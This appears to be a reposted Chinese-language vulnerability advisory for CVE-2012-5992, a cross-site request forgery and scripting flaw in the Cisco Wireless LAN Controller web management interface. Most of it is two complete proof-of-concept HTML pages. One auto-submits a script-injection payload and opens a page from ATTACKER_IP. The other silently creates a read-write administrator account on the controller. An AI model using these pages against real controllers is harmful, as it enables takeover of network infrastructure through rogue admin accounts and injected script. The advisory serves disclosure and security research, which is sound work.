Cisco Wireless LAN Controller管理界面跨站请求伪造漏洞

发布日期:2012-12-13
更新日期:2012-12-15

受影响系统:
Cisco Wireless LAN Controller <= 7.2
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 56929
CVE(CAN) ID: CVE-2012-5992

Cisco WLC 负责全系统的无线LAN功能,例如安全策略、入侵保护、RF管理,服务质量和移动性。

Cisco Wireless LAN Controller 7.2及其他版本Web管理界面没有正确验证用户输入,通过诱使用户点击恶意链接,提交恶意请求到受影响软件,未经身份验证的远程攻击者可利用此漏洞执行未授权操作。

<*来源:Jacob Holcomb
 
  链接:?alertId=27640
       
       
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

-CSRF/XSS-

File #1: ciscoWLC1.html


<html>
<title>Download</title>
<body>

<h1>LOADING...</h1>

<form action="https://WLC_IP_HERE/screens/base/web_auth_custom.html" method="post" >
<input type="hidden" value="1"/>
<input type="hidden" value="internal"/>
<input type="hidden" value=""/>
<input type="hidden" value="show"/>
<input type="hidden" value="HaXoReD<img+src=><script>alert(42)</script>>"/>
<input type="hidden" value="U+mAd?<img src=https://www.memes.at/faces/u_mad_troll.gif height=1000 width=1000 align=left>"/>
<input type="hidden" value=""/>
<input type="hidden" value="4"/>
<input type="hidden" value="0"/>
<input type="hidden" value="0"/>
<input type="hidden" value=""/>
</form>

<script>
function CSRF() {window.open("http://ATTACKER_IP/ciscoWLC2.html")};window.setTimeout(CSRF,1000)
function XSS() {document.ciscoXSS.submit()};window.setTimeout(XSS,1000)
</script>

</body>
</html>

File #2: ciscoWLC2.html


<html>
<title>Cisco WLC 7.2.110.0 CSRF - Add Administrator</title>
<body>

<form action="https://WLC_IP_HERE/screens/aaa/mgmtuser_create.html" method="post" >
<input type="hidden" value="1"/>
<input type="hidden" value="Gimppy"/>
<input type="hidden" value="Pwnd123"/>
<input type="hidden" value="Pwnd123"/>
<input type="hidden" value="readwrite"/>
<input type="hidden" value="4"/>
</form>

<script>
document.ciscoCSRF.submit()
window.open("https://WLC_IP_HERE/screens/base/login_preview.html") <-- Or https://WLC_IP_HERE/login.html
</script>

</body>
</html>

建议:
--------------------------------------------------------------------------------
厂商补丁:

Cisco
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wydysd.html